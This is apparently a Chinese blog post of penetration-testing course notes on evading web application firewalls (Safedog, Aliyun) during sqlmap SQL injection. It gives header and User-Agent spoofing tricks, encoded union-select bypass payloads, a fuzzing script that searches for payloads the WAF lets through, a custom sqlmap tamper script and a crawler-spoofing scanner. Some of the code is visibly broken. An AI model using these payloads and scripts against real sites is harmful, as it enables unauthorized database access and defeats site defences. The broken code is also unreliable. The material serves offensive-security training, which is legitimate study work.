2020小迪培训(第19天WEB 漏洞-SQLMAP 绕过 WAF)

WEB 漏洞-SQLMAP 绕过 WAF

前言

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。

image-20210820123442525

演示案例

  • 简要其他绕过方式学习

    • 白名单

      • 方式一:IP 白名单
        从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情况。
        测试方法:修改 http 的 header 来 bypass waf
        X-forwarded-for
        X-remote-IP
        X-originating-IP
        x-remote-addr
        X-Real-ip

      • 如果waf接受IP地址是通过网络层(TCP、IP)即使我们对数据包进行修改,对方也是不会接受的/不以它为主

        实战中意义不大,需要满足的条件比较多(接受数据方式是用不用脚本解析)

      • 方式二:静态资源
        特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。
        http://10.9.9.201/sql.php?id=1
        http://10.9.9.201/sql.php/1.js?id=1
        备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别

      • 我们可以发现在我们加了x.txt后还可以正常访问页面,在之前我们可以这种方式进行waf绕过,但现在不行了

        发现加上 and 1=1后直接被拦截

        image-20210828095412245

      • 方式三:url 白名单(现在绕不过)
        为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url中存在白名单的字符串,就作为白名单不进行检测。常见的 url 构造姿势:

        https://10.9.9.201/sql.php/admin?id=1
        https://10.9.9.201/sql.php?a=/manage/&b=…/etc/passwd
        https://10.9.9.201/…/…/…/manage/…/sql.asp?id=2
        waf通过/manage/进行比较,只要在uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=…/etc/passwd绕过防御规则

      • 方式四:爬虫白名单(有用)
        部分waf有提供爬虫表名单的功能,识别爬虫的技术一般有两种:
        1、根据UserAgent 2、通过行为判断
        UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试爬过
        User Agent Switch(Firefox附加组件)
        https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/

      • 扫描器过快的进行扫描,不仅获得的信息是假的,还会被waf拦截。

        image-20210828104206129

      • 这时候我们用脚本进行扫描,在http头部修改UserAgent进行欺骗,让对方服务器误以为是搜索引擎进行爬虫,从而成功不被拦截,获取到相关信息。 image-20210828112718157

  • FUZZ 绕过脚本结合编写测试(代码在资源那)
    image-20210828112745641

  • 阿里云盾防 SQL 注入简要分析

  • 安全狗+云盾 SQL 注入插件脚本编写

    • 在安全狗开启的情况下,我们使用sqlmap工具进行注入,发现注入失败

      image-20210828210651767

    • -tamper的使用(内置的脚本只能针对与那些ctf比赛,我们一般都是需要自己编写脚本)

    • 我们自己编写代码(资源二)进行注入,发现还是注入不了。在这里我们分析注入不了的原因,一方面不是扫描过快(网站还可以打开),一方面也不是因为脚本的原因
      image-20210828212554354
      image-20210828212615889

    • 我们进行抓包,看看原因出现在哪里?
      image-20210828213125658
      image-20210828213056442

    • 通过抓包所得的数据和安全狗的防护规则,我们发现原因在于sqlmq在http头部自爆身份了,导致注入不成功

      image-20210828213608531
    • 为了解决这个问题,我们使用 --radom-agent来进行user-agent头部随机性,防止自报家门。(没开cc攻击防护)

      image-20210828215410150

    • 使用同样的语句使用工具进行注入,发现注入一半停下来了,发现是访问太快被拦截了(开cc攻击防护),为了解决这个问题,我们可以使用延迟、代理池、爬虫这三种方法

      • 爬虫

        image-20210828223314786

      • 延迟

        image-20210828223746197

      • 代理池

        思想:主要是拦截一个IP地址,我们就换一个IP地址进行注入(调动很多台服务器)

  • 小知识

    • 如果遇到sqlmap中没有的功能怎么注入?(没有对应的语句能够对应我们需要改变的地方)

      • 写中转脚本(py开发)

        在第17天中提到过

      • 写在txt文件中

        image-20210828230953708

        image-20210828231031197

%23x%0aunion%23x%0Aselect%201,2,3

//版本号进行绕过,只有当满足条件(4.45.09版本以上)的时候该语句才会被执行,现在绕不过了
%20union%20/*!44509select*/%201,2,3%20/*!44509union*/%23x%0aselect%201,2,3

id=1/**&id=-1%20union%20select%201,2,3%23*/

%20union%20all%23%0a%20select%201,2,3%23

涉及资源

SQLmap详解 https://www.pianshen.com/article/90961667965/

资源一

import request,time

url='http://127.0.0.1/sqlilabs/less-2/?id=-1'
union = 'union'
select = 'select'
num = '1,2,3'
a = {'%0a','%23'}
aa= {'x'}
aaa = {'%0a','%23'}
b = '/*!'
c = '*/'
def bypass():
	for du in a:
		for dus in aa:
			for duss in aaa:
				for two in range(44500,44600):  #版本号
					urls=url+du+dus+duss+b+str(two)+union+c+du+dus+duss+select+du+dus+duss+num

					#urls = url + du +dus +duss+union +du +dus +duss +b +str(two)+select+c +du+dus+duss+num
					try:
						result = request.get(urls).text
						len_r = len(result)
						if (result.find('safedog')==-1):
							print('bypass url addres :' + urls + '|' +str(len_r))
							if len_r == 715:
								fp = open('url.txt','a+')
								fp.write(urls+'\n')
								fp.close()
					except Exception as err:
						print('connecting error')
						time.sleep(0,1)
if _name_ == '_main_':
	print('fuzz start!')
	bypass()

资源二

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" %
(os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
#%23a%0aunion/*!44575select*/1,2,3
if payload:
payload = payload.replace("union", "%23a%0aunion")
payload = payload.replace("select", "/*!44575select*/")
payload = payload.replace("%20", "%23a%0a")
payload = payload.replace(" ", "%23a%0a")
payload = payload.replace("database()", "database%23a%0a()")
return payload

资源三


import json
import requests

url='http://192.168.0.103:8080/'

head={

'User-Agent':'Mozilla/5.0 

(compatible;Baiduspider-render/2.0;

+http://www.baidu.com/search/spider.html)'

}

for data in open('PH1P.txt'):

data=data.replace('\n','')

urls=url+data

code=requests.get(urls).status_code

print(urls+'|'+str(code))

 

最后感谢小迪师傅的视频!!

笔记来源视频:点击这里

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值